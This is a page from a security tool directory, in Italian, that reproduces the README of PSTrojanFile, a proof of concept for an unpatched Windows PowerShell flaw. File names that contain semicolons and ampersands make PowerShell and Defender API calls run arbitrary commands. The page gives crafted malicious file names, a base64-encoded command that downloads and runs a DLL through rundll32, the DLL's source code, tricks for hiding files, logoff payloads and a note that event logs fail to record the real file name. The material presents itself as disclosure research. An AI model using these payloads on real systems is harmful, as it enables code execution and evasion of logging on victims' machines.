Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PSTrojanFile — POC di esecuzione di codice tramite nome file in Windows PowerShell non corretto | Kitploit
Strumenti/GitHubGitHub/hyp3rlinx/pstrojanfile
Generazione di PayloadAnalisi delle VulnerabilitàExploitEvasione IDS/IPSScripting e AutomazioneCTFPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

POC di esecuzione di codice tramite nome file in Windows PowerShell non corretto

4282 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

PSTrojanFile

Windows PowerShell Filename e Defender Anti-Malware API - POC di Esecuzione di Codice

Scoperta: John Page (aka hyp3rlinx) 2019 e rivisitato 2023

Aggiornato il 24 dicembre 2023

Bypass dell'ostacolo degli apici singoli in PowerShell per l'esecuzione di codice e, bonus, fallimento del registro eventi di Windows PS!
Il punto e virgola e l'amico operatore "&" uniscono le forze per capacità di esecuzione di codice arbitrario.

Esegui del malware indesiderato:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

OPPURE

Scansione Anti-malware di Windows Defender:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Dove Malware.exe si trova nella stessa directory, pensa a un download drive-by.

Fallimento del registro eventi di Windows, PS event ID 403, non riesce a registrare il vero nome file a causa del troncamento:

Estratto del log PS:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

Chiamare ping cmd? Perché no
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

Disconnessione della vittima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

Aggiornato: 7 dic 2023 aggiunto il vettore CL e Windows Defender API, vedi sotto:

Dato che funziona ancora, l'ho rispolverato e ho apportato miglioramenti minori:

  1. Eseguire una DLL remota usando rundll32
  2. Eseguire uno script PS1 secondario non intenzionale o un file di testo locale (può essere nascosto)
  3. Aggiornato lo script Python3 per la creazione di nomi file Trojan PS1

Segnalato per la prima volta a Microsoft nel 2019, rimane ancora non corretto al momento della scrittura.

Esecuzione di codice remota tramite un nome file appositamente progettato.

Il difetto è dovuto al punto e virgola ";": possiamo decodificare un comando Base64 ed eseguirlo direttamente dal nome file PS1, oppure semplicemente eseguire comandi.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

Esegui comandi immediatamente

"Testing;saps (gc -) PoC;.ps1"

Vettori: doppio clic, trascinamento e rilascio sul collegamento di PS

Sfrutta comandi PS abbreviati alternativi come "saps", "gc" per avviare un processo e get-content, ecc.

Esempio di esecuzione di DLL:

Crea un file PS1 trojan che tenterà di scaricare ed eseguire una DLL remota chiamata "1.d"

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

Codice DLL:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

Fai doppio clic sul file PS1 trojan.

Esempio di esecuzione di codice tramite file di testo:

Crea un file PS1 con un nome che includa saps "avvia un processo" e gc "get-content": leggerà i comandi da un file nascosto.

"Test;saps (gc -) PoC;.ps1"

Crea nascosto: attrib +s +h "-"

Doppio clic o trascina e rilascia.

Requisiti:

a) I file PowerShell PS1 devono essere impostati per aprirsi con PowerShell come programma predefinito

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) L'utente deve fare doppio clic, eseguire da riga di comando o trascinare e rilasciare lo script PS1 con nome dannoso

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

Aggiornamento: Microsoft Defender Anti-Malware PowerShell API - Esecuzione di codice arbitrario.

Microsoft Defender Anti-Malware e/o le API PS possono risultare nell'esecuzione di codice arbitrario. Ad esempio, la scansione di una directory, di un collegamento .lnk o persino di un elemento inesistente può eseguire codice non voluto. Questo vettore si basa sulla mia precedente advisory e sul successivo progetto PSTrojanFile.

Requisiti:

  1. Nella riga di comando, il comando 'powershell' viene anteposto o passato chiamando PowerShell da un altro script
  2. File eseguibile con lo stesso nome del parametro che si trova nelle vicinanze

Esempi:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe si trova sul Desktop)

Crea una directory ";saps Test": Test.exe, Test.cmd, ecc. sono sullo stesso percorso della riga di comando
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Crea una directory con il punto e virgola, inserisci un file PE chiamato doom.exe nello stesso percorso.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

Ultimo ma non meno importante: Quando si ottiene un hash di file in PowerShell, vieni disconnesso :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

Scarica lo strumento